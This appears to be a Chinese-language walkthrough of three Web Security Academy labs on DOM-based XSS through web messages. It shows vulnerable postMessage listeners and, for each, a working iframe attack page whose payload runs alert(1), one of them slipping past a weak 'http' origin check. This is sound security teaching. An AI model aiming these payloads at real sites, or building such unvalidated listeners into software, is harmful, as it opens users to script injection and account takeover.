如果頁面以不安全的方式處理傳入的 Web 訊息,例如,未在事件偵聽器中正確驗證傳入訊息的來源,則事件偵聽器呼叫的屬性和函數可能會成為接收器。
例如,攻擊者可以用iframe
並搭配postMessage()
方法將 Web 訊息資料傳遞到易受攻擊的事件偵聽器,然後偵聽器將有效負載傳送到父頁面上的sinks
。如下
################# normal request #################
GET / HTTP/1.1
Host: acfd1fda1e63b75c8041008f00a600f6.web-security-academy.net
...omit...
################# normal response #################
...omit...
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>
...omit...
只要準備以下攻擊頁面,受害瀏覽只要瀏覽此頁會觸發alert(1)
<iframe src="https://acfd1fda1e63b75c8041008f00a600f6.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert(1)>','*')">
Lab: DOM XSS using web messages
有時事件偵聽器確實包含某種形式的來源驗證,但驗證步驟有時也可能存在根本缺陷
舉例如下,從返回信息來看,假如url有包含http,就會將可控訊息傳到location.href
################# normal request #################
GET / HTTP/1.1
Host: acae1f7f1e6a6174807c06ac001400bb.web-security-academy.net
...omit...
################# normal response #################
...omit...
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>
...omit...
因此準備以下攻擊頁面,在攻擊訊息內包含http字串,如果受害瀏覽此頁會觸發alert(1)
<iframe src="https://acae1f7f1e6a6174807c06ac001400bb.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:alert(1)//http:','*')">
Lab: DOM XSS using web messages and a JavaScript URL
另一個例子如下,在請求的回應中發現,當type
等於load-channel
,會將url
訊息的屬性指派給ACMEplayer.elementiframe
的src
屬性。然而,在這種情況下,url
訊息的屬性實際上可以包含JavaScript 。
################# normal request #################
GET / HTTP/1.1
Host: ac9e1f151fc679b4809012a500660023.web-security-academy.net
...omit...
################# normal response #################
...omit...
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
...omit...
因此可準備以下攻擊頁面,如果受害瀏覽此頁會觸發alert(1)
<iframe src=https://ac9e1f151fc679b4809012a500660023.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:alert(1)\"}","*")'>
Lab: DOM XSS using web messages and JSON.parse